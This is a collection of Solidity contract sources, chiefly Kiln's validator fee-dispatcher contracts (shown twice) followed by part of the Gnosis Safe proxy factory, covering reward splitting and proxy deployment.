withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
